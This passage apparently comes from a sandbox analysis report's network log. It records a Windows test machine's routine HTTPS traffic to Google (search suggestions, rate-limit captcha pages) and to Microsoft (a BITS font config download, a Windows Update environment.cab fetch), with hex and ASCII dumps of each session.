2024-04-26 22:11:07 UTC	846	IN	Data Raw: 33 34 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 66 69 6e 61 6c 20 6a 65 6f 70 61 72 64 79 20 74 6f 64 61 79 22 2c 22 63 61 69 74 6c 69 6e 20 63 6c 61 72 6b 20 70 61 69 67 65 20 62 75 65 63 6b 65 72 73 20 70 68 6f 74 6f 73 22 2c 22 70 72 69 6d 65 20 65 6e 65 72 67 79 20 64 72 69 6e 6b 20 6c 61 77 73 75 69 74 20 70 66 61 73 22 2c 22 6d 61 6e 6f 72 20 6c 6f 72 64 73 20 67 61 6d 65 22 2c 22 77 65 61 74 68 65 72 20 73 74 6f 72 6d 73 20 74 6f 72 6e 61 64 6f 65 73 22 2c 22 6f 6e 65 20 70 69 65 63 65 20 63 68 61 70 74 65 72 20 31 31 31 33 20 64 69 73 63 75 73 73 69 6f 6e 22 2c 22 74 68 65 20 66 72 65 61 6b 20 72 61 64 69 6f 20 73 74 61 74 69 6f 6e 20 64 61 6c 6c 61 73 22 2c 22 73 74 61 72 62 75 63 6b 73 20 64 72 69 6e 6b 73 20 68 61 6c 66 20 6f 66 66 22 5d 2c 5b Data Ascii: 347)]}'["",["final jeopardy today","caitlin clark paige bueckers photos","prime energy drink lawsuit pfas","manor lords game","weather storms tornadoes","one piece chapter 1113 discussion","the freak radio station dallas","starbucks drinks half off"],[
2024-04-26 22:11:07 UTC	1255	IN	Data Raw: 62 38 62 0d 0a 57 64 42 51 30 56 52 52 55 52 46 55 55 67 76 65 45 46 42 59 55 46 42 51 55 4e 42 64 30 56 43 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 52 55 4a 6e 54 55 5a 43 64 30 6c 43 4c 7a 68 52 51 55 31 53 51 55 46 42 5a 30 56 45 51 58 64 4e 52 45 46 6e 56 55 52 43 55 55 46 42 51 55 46 42 51 55 46 52 53 55 52 43 51 56 56 53 51 55 4a 4a 61 45 56 36 52 6b 4a 43 62 45 64 43 53 57 35 46 56 55 31 74 52 31 4a 76 55 31 42 53 4e 46 46 6a 61 30 30 77 53 6c 4d 76 4f 46 46 42 52 30 46 46 51 6b 46 42 54 55 4a 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 56 46 42 51 30 4a 42 55 43 39 34 51 55 46 6d 52 56 46 42 52 45 46 52 52 55 46 42 5a 30 6c 45 51 55 46 42 51 55 46 42 51 55 46 42 51 55 46 42 51 56 4a 46 51 30 6c 52 54 58 68 Data Ascii: b8bWdBQ0VRRURFUUgveEFBYUFBQUNBd0VCQUFBQUFBQUFBQUFBQUFBRUJnTUZCd0lCLzhRQU1SQUFBZ0VEQXdNREFnVURCUUFBQUFBQUFRSURCQVVSQUJJaEV6RkJCbEdCSW5FVU1tR1JvU1BSNFFja00wSlMvOFFBR0FFQkFBTUJBQUFBQUFBQUFBQUFBQUFBQVFBQ0JBUC94QUFmRVFBREFRRUFBZ0lEQUFBQUFBQUFBQUFBQVJFQ0lRTXh
2024-04-26 22:11:07 UTC	1255	IN	Data Raw: 44 4f 47 6c 52 5a 48 4d 76 62 30 31 6b 4c 33 64 44 4b 33 46 34 61 6c 5a 34 55 30 4a 51 64 7a 68 78 64 45 31 6d 4e 6d 46 4c 61 45 63 34 53 45 46 48 51 6a 56 43 65 48 67 72 64 6e 70 79 65 55 39 77 63 55 70 77 4d 6c 4e 57 4d 31 64 5a 54 57 52 35 62 45 31 72 52 55 46 42 4e 55 49 72 4d 6e 4e 69 63 55 38 34 52 32 56 74 5a 58 5a 71 56 55 78 48 61 6c 4e 75 4f 44 5a 76 54 6e 64 43 53 45 64 6c 5a 6d 74 68 64 46 45 35 56 6b 64 4a 64 58 52 49 52 33 6c 72 51 6d 70 46 55 30 4e 52 55 47 74 6a 52 56 6b 77 64 54 49 72 5a 58 5a 74 61 6b 31 72 56 55 6f 32 59 30 4d 30 61 33 46 48 65 6e 4e 53 55 32 5a 4b 4e 32 56 4f 52 31 42 59 63 54 68 54 55 6c 5a 54 55 31 4a 7a 4b 31 52 47 56 55 4e 4f 62 47 4a 43 65 6e 52 50 55 44 68 42 63 30 31 6e 61 6e 70 79 54 6e 42 68 59 6d 70 52 55 54 Data Ascii: DOGlRZHMvb01kL3dDK3F4alZ4U0JQdzhxdE1mNmFLaEc4SEFHQjVCeHgrdnpyeU9wcUpwMlNWM1dZTWR5bE1rRUFBNUIrMnNicU84R2VtZXZqVUxHalNuODZvTndCSEdlZmthdFE5VkdJdXRIR3lrQmpFU0NRUGtjRVkwdTIrZXZtak1rVUo2Y0M0a3FHenNSU2ZKN2VOR1BYcThTUlZTU1JzK1RGVUNObGJCenRPUDhBc01nanpyTnBhYmpRUT
2024-04-26 22:11:07 UTC	452	IN	Data Raw: 51 7a 4d 6c 4a 42 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 46 5a 51 4d 58 70 6a 4d 48 70 44 63 6b 78 4e 4e 6e 56 78 61 6b 52 6a 65 6c 6c 51 55 56 4e 35 52 54 4e 4e 65 58 6b 35 55 33 6c 4e 61 33 5a 54 61 57 78 58 55 30 56 66 54 56 52 52 56 55 46 7a 56 47 74 4c 4f 46 46 77 42 41 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 2c 38 30 34 2c 38 30 33 2c 38 30 32 2c 38 30 31 2c 38 30 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 Data Ascii: QzMlJBZ3Nfc3NwPWVKemo0dFZQMXpjMHpDckxNNnVxakRjellQUVN5RTNNeXk5U3lNa3ZTaWxXU0VfTVRRVUFzVGtLOFFwBA\u003d\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1252,1251,1250,804,803,802,801,800],"google:suggestsu
2024-04-26 22:11:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	142.251.40.196	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:07 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:08 UTC	1761	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgSaEMC5GPvMsLEGIjCY-2OZ1FtestAMHGk_Zl7jP5iIAEwEBPtsl5zqp0KiFr9Vf45Z-wKsEbzZITKCLZEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI-8ywsQYQ9pSEywMSBJoQwLk Content-Type: text/html; charset=UTF-8 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Fri, 26 Apr 2024 22:11:07 GMT Server: gws Content-Length: 417 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-04-26-22; expires=Sun, 26-May-2024 22:11:07 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: NID=513=be4dV2rAYIFRGbFY6uwKHacnfuSrUHh7WkI8rg99WNEOT6f4xEWtJ0ZmC4JLmJjo6qQnH2Z61aWpY_kqpwn8tahSApT3mcRbrMLayZoqpKUjCcKZZNdoyYHoosQGQB_d6KzoHR63qi2q9LKwEgUuQQQxilmt_ZPx6CqJQ1JegcE; expires=Sat, 26-Oct-2024 22:11:07 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 22:11:08 UTC	417	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	142.251.40.196	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:09 UTC	912	OUT	GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgSaEMC5GPvMsLEGIjBR0qZUmfRVGI8h_HUYCIdc6XJarBdZ4MUXprSwhJK9qytI0c58_3kTv7kRub8PBlYyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 1P_JAR=2024-04-26-22; NID=513=be4dV2rAYIFRGbFY6uwKHacnfuSrUHh7WkI8rg99WNEOT6f4xEWtJ0ZmC4JLmJjo6qQnH2Z61aWpY_kqpwn8tahSApT3mcRbrMLayZoqpKUjCcKZZNdoyYHoosQGQB_d6KzoHR63qi2q9LKwEgUuQQQxilmt_ZPx6CqJQ1JegcE
2024-04-26 22:11:09 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 26 Apr 2024 22:11:09 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3185 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 22:11:09 UTC	899	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 3f 68 6c 3d 65 6e 2d 55 53 26 61 6d 70 3b 61 73 79 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/newtab_ogb?hl=en-US&asy
2024-04-26 22:11:09 UTC	1255	IN	Data Raw: 0a 3c 73 63 72 69 70 74 3e 76 61 72 20 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 71 72 79 49 66 32 57 7a 45 Data Ascii: <script>var submitCallback = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="qryIf2WzE
2024-04-26 22:11:09 UTC	1031	IN	Data Raw: 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 22 3e 0a 54 68 69 73 20 70 61 67 65 20 61 70 70 65 61 72 73 20 77 68 65 6e 20 47 6f 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 Data Ascii: ; line-height:1.4em;">This page appears when Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly aft

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49739	142.251.40.196	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:10 UTC	738	OUT	GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgSaEMC5GPvMsLEGIjCY-2OZ1FtestAMHGk_Zl7jP5iIAEwEBPtsl5zqp0KiFr9Vf45Z-wKsEbzZITKCLZEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 1P_JAR=2024-04-26-22; NID=513=be4dV2rAYIFRGbFY6uwKHacnfuSrUHh7WkI8rg99WNEOT6f4xEWtJ0ZmC4JLmJjo6qQnH2Z61aWpY_kqpwn8tahSApT3mcRbrMLayZoqpKUjCcKZZNdoyYHoosQGQB_d6KzoHR63qi2q9LKwEgUuQQQxilmt_ZPx6CqJQ1JegcE
2024-04-26 22:11:10 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Fri, 26 Apr 2024 22:11:10 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3113 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 22:11:10 UTC	899	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/newtab_promos</title></head
2024-04-26 22:11:10 UTC	1255	IN	Data Raw: 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 72 74 30 44 57 47 45 73 2d 37 70 39 76 44 34 2d 58 4b 47 74 37 6b 64 4f 36 32 59 75 70 74 2d 47 33 Data Ascii: ack = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="rt0DWGEs-7p9vD4-XKGt7kdO62Yupt-G3
2024-04-26 22:11:10 UTC	959	IN	Data Raw: 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 74 68 6f 73 65 20 72 65 71 75 65 73 74 73 20 73 74 6f 70 2e 20 20 49 6e 20 74 68 65 20 6d 65 61 6e 74 69 6d 65 2c 20 73 6f 6c 76 69 6e Data Ascii: ogle automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop. In the meantime, solvin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49744	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 22:11:17 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0712) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=31943 Date: Fri, 26 Apr 2024 22:11:17 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49745	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:18 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-26 22:11:18 UTC	455	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 Cache-Control: public, max-age=31946 Date: Fri, 26 Apr 2024 22:11:18 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-26 22:11:18 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49746	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mBmGWnTfBOdFZCU&MD=gdc54tFd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-26 22:11:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 71b3bfed-3cab-4543-8923-039124b7f5a0 MS-RequestId: fca3b542-4f07-4258-a86f-32f8fafd8763 MS-CV: ZYMXt7aWCEC0tQO6.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Apr 2024 22:11:19 GMT Connection: close Content-Length: 24490
2024-04-26 22:11:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-26 22:11:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 